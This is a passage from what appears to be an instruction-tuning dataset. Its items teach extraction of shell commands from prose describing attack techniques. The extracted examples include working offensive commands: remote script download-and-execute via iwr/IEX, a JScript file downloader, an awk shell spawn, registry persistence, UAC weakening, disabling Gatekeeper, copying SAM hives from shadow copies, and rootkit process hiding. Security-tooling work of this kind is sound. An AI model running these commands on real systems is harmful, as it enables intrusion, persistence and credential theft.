    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"cscript.exe #{jse_path}`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"echo var url = \\\"#{file_url}\\\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\\ncscript //E:Jscript #{script_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For tailoring attacks to a specific kernel, the adversary may execute the command: uname -srm, to retrieve the necessary information.; The awk BEGIN rule can be leveraged to execute system commands without reading input, such as creating a shell via the command: awk 'BEGIN {system(\"/bin/sh &\")}'.",
    "output": "{\"command_list\": [\"uname -srm\\n\", \"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a shortcut for a non-malicious executable in the user's startup directory, use the following command:\n$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save(); For persistence via the Recycle Bin, ensuring the payload runs when clicked, execute this registry command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
    "output": "{\"command_list\": [\"$Target = \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\"\\n$ShortcutLocation = \\\"$home\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\calc_exe.lnk\\\"\\n$WScriptShell = New-Object -ComObject WScript.Shell\\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\\n$Create.TargetPath = $Target\\n$Create.Save()      \", \"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The BlackByte ransomware prepares for lateral movement by executing these registry modifications, which disable UAC restrictions and enable long path support:\nNew-ItemProperty \"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force; Agent Tesla malware has been known to abuse this technique, as seen in this example. Modify the registry of the currently logged-in user with this command: reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force\\n\", \"reg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\policies\\\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The OpenDNS Umbrella service can be stopped with the command: sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist; To disable macOS Gatekeeper, use the following command: sudo spctl --master-disable",
    "output": "{\"command_list\": [\"sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist\\n\", \"sudo spctl --master-disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The SeriousSAM vulnerability (CVE-2021-36934) allows non-admin users to extract hives from shadow copies by executing this command: for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\#{target_hive}\" %temp%\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\#{target_hive}vss*; To extract hives from volume shadow copies leveraging System.IO.File, use the following command:\n1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\" , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n",
    "output": "{\"command_list\": [\"for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy%a\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" %temp%\\\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\\\#{target_hive}vss*\\n\", \"1..#{limit} | % { \\n try { [System.IO.File]::Copy(\\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy$_\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" , \\\"$env:TEMP\\\\#{target_hive}vss$_\\\", \\\"true\\\") } catch {}\\n ls \\\"$env:TEMP\\\\#{target_hive}vss$_\\\" -ErrorAction Ignore\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate rootkit behavior by hiding a process, use the following command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"; Here's how to load the Diamorphine module and demonstrate process hiding with these commands: sudo modprobe #{rootkit_name}\nping -c 10 localhost >/dev/null & TARGETPID=\"$!\"\nps $TARGETPID\nkill -31 $TARGETPID\nps $TARGETPID || echo \"process ${TARGETPID} hidden\"\n",
    "output": "{\"command_list\": [\"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\", \"sudo modprobe #{rootkit_name}\\nping -c 10 localhost >/dev/null & TARGETPID=\\\"$!\\\"\\nps $TARGETPID\\nkill -31 $TARGETPID\\nps $TARGETPID || echo \\\"process ${TARGETPID} hidden\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    